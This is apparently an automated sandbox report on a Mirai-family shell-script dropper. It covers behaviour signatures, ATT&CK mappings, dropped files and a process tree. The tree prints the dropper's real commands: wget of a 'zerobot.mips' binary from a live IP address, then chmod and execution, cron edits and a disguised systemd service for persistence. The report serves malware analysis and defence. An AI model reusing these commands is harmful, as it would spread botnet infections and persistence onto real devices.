Overview

overview

10

Static

static

1

ba9c9d9d36...8a9.sh

ubuntu-18.04-amd64

10

ba9c9d9d36...8a9.sh

debian-9-armhf

10

ba9c9d9d36...8a9.sh

debian-9-mips

10

ba9c9d9d36...8a9.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    105s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    30/09/2026, 07:29

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General

  • Target
    ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh
  • Size 1KB
  • Sample260930-jbbzyavxht
  • SHA256 ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9
  • MD5 SHA1 SHA512 TLSH
Score
10/10
botnetdefense_evasiondiscoveryexecutionmiraipersistenceprivilege_escalationupx

Malware Config

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • Contacts a large (45109) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 2 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

    discovery
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Writes file to system bin folder 2 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Changes its process name 8 IoCs
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh
    /tmp/ba9c9d9d361d7df77a94b04aa66b7ae34c9d92b38e620ceeccc95058ea1c08a9.sh
    1⤵
    • Executes dropped EXE
    PID:716
    • /bin/busybox
      /bin/busybox uname -m
      2⤵
        PID:720
      • /bin/rm
        rm -f zerobot.mips
        2⤵
        • System Network Configuration Discovery
        PID:723
      • /bin/busybox
        /bin/busybox wget -q -O zerobot.mips http://176.65.139.157/fvbig/zerobot.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:727
      • /bin/chmod
        chmod +x zerobot.mips
        2⤵
        • File and Directory Permissions Modification
        PID:738
      • /tmp/zerobot.mips
        ./zerobot.mips zerobot.mips
        2⤵
        • Executes dropped EXE
        • Modifies systemd
        • System Network Configuration Discovery
        PID:739
        • /bin/sh
          sh -c "(crontab -l 2>/dev/null | grep -v '/var/tmp/.sysd' | crontab - 2>/dev/null) >/dev/null 2>&1"
          3⤵
            PID:740
            • /bin/grep
              grep -v /var/tmp/.sysd
              4⤵
                PID:744
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:743
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:745
              • /bin/sh
                sh -c "systemctl daemon-reload 2>/dev/null; systemctl enable systemd-network-update.service 2>/dev/null; systemctl start systemd-network-update.service 2>/dev/null"
                3⤵
                  PID:747
                  • /bin/systemctl
                    systemctl daemon-reload
                    4⤵
                    • Enumerates kernel/hardware configuration
                    • Reads runtime system information
                    PID:748
                  • /bin/systemctl
                    systemctl enable systemd-network-update.service
                    4⤵
                    • Enumerates kernel/hardware configuration
                    PID:766
                  • /bin/systemctl
                    systemctl start systemd-network-update.service
                    4⤵
                    • Enumerates kernel/hardware configuration
                    • Reads runtime system information
                    PID:779
              • /var/tmp/.sysd
                /var/tmp/.sysd
                2⤵
                • Modifies Watchdog functionality
                • Enumerates active TCP sockets
                • Writes file to system bin folder
                • Changes its process name
                • Reads system network configuration
                • Reads runtime system information
                PID:739
                • /bin/sh
                  sh -c "(crontab -l 2>/dev/null | grep -v '/var/tmp/.sysd' | crontab - 2>/dev/null) >/dev/null 2>&1"
                  3⤵
                    PID:782
                    • /bin/grep
                      grep -v /var/tmp/.sysd
                      4⤵
                        PID:785
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:786
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:784
                    • /bin/rm
                      rm -f zerobot.mips
                      2⤵
                      • System Network Configuration Discovery
                      PID:793
                    • /bin/rm
                      rm -f telnet2.sh
                      2⤵
                        PID:797

                    Network

                          MITRE ATT&CK Enterprise v16

                          Reconnaissance

                          Resource Development

                          Initial Access

                          Execution

                          Scheduled Task/Job

                          1
                          T1053

                          Cron

                          1
                          T1053.003

                          Persistence

                          Boot or Logon Autostart Execution

                          1
                          T1547

                          XDG Autostart Entries

                          1
                          T1547.013

                          Create or Modify System Process

                          1
                          T1543

                          Systemd Service

                          1
                          T1543.002

                          Scheduled Task/Job

                          1
                          T1053

                          Cron

                          1
                          T1053.003

                          Privilege Escalation

                          Boot or Logon Autostart Execution

                          1
                          T1547

                          XDG Autostart Entries

                          1
                          T1547.013

                          Create or Modify System Process

                          1
                          T1543

                          Systemd Service

                          1
                          T1543.002

                          Scheduled Task/Job

                          1
                          T1053

                          Cron

                          1
                          T1053.003

                          Defense Evasion

                          File and Directory Permissions Modification

                          1
                          T1222

                          Linux and Mac File and Directory Permissions Modification

                          1
                          T1222.002

                          Impair Defenses

                          1
                          T1562

                          Credential Access

                          Discovery

                          Network Service Discovery

                          2
                          T1046

                          System Information Discovery

                          1
                          T1082

                          System Network Configuration Discovery

                          2
                          T1016

                          Internet Connection Discovery

                          1
                          T1016.001

                          System Network Connections Discovery

                          1
                          T1049

                          Lateral Movement

                          Collection

                          Command and Control

                          Exfiltration

                          Impact

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          systemd-network-update.service
                          • Path /etc/systemd/system/systemd-network-update.service
                          • Size 184B
                          • SHA256 2c0ed8e36e0603c11ba5613314d2bd2605e25777a5179c6264da034367c7c21c
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          zerobot.mips
                          • Path /tmp/zerobot.mips
                          • Size 244KB
                          • SHA256 43820d92efd2b7c619970523b830a8709afb96d02bb89fba8e772a1a63c15976
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          tmp.Diulix
                          • Path /var/spool/cron/crontabs/tmp.Diulix
                          • Size 175B
                          • SHA256 a9ab1ee295f007ce37e7cdc0733f8caa5531d49fefc412fcd34229d154f4053e
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          tmp.xPrfAe
                          • Path /var/spool/cron/crontabs/tmp.xPrfAe
                          • Size 175B
                          • SHA256 95d65657eec726cfd3466e3acff7b03bb59df25bdfb45d8d7e3a59649933a090
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          .sysd.lock
                          • Path /var/tmp/.sysd.lock
                          • Size 4B
                          • SHA256 03973547bf83b66a8c3d4ba4ec764d079fe2dda36aa4fa852ef9b6e0e3fb1695
                          • MD5 SHA1 SHA512
                          Submit Download